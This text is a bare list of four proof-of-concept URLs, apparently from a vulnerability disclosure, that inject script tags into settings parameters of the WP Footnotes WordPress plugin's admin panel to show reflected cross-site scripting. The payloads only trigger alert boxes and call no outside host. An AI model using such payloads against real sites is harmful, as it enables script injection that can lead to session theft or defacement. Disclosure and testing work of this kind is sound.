http://www.example.com/wordpress/wp-content/plugins/wp-footnotes/admin_panel.php?wp_footnotes_current_settings[priority]="><script>alert("XSS")</script>

http://www.example.com/wordpress/wp-content/plugins/wp-footnotes/admin_panel.php?wp_footnotes_current_settings[style_rules]=</textarea><script>alert("XSS")</script>

http://www.example.com/wordpress/wp-content/plugins/admin_panel.php?wp_footnotes_current_settings[pre_footnotes]=</textarea><script>alert("XSS")</script>

http://www.example.com/wordpress/wp-content/plugins/admin_panel.php?wp_footnotes_current_settings[post_footnotes]=</textarea><script>alert(":-(")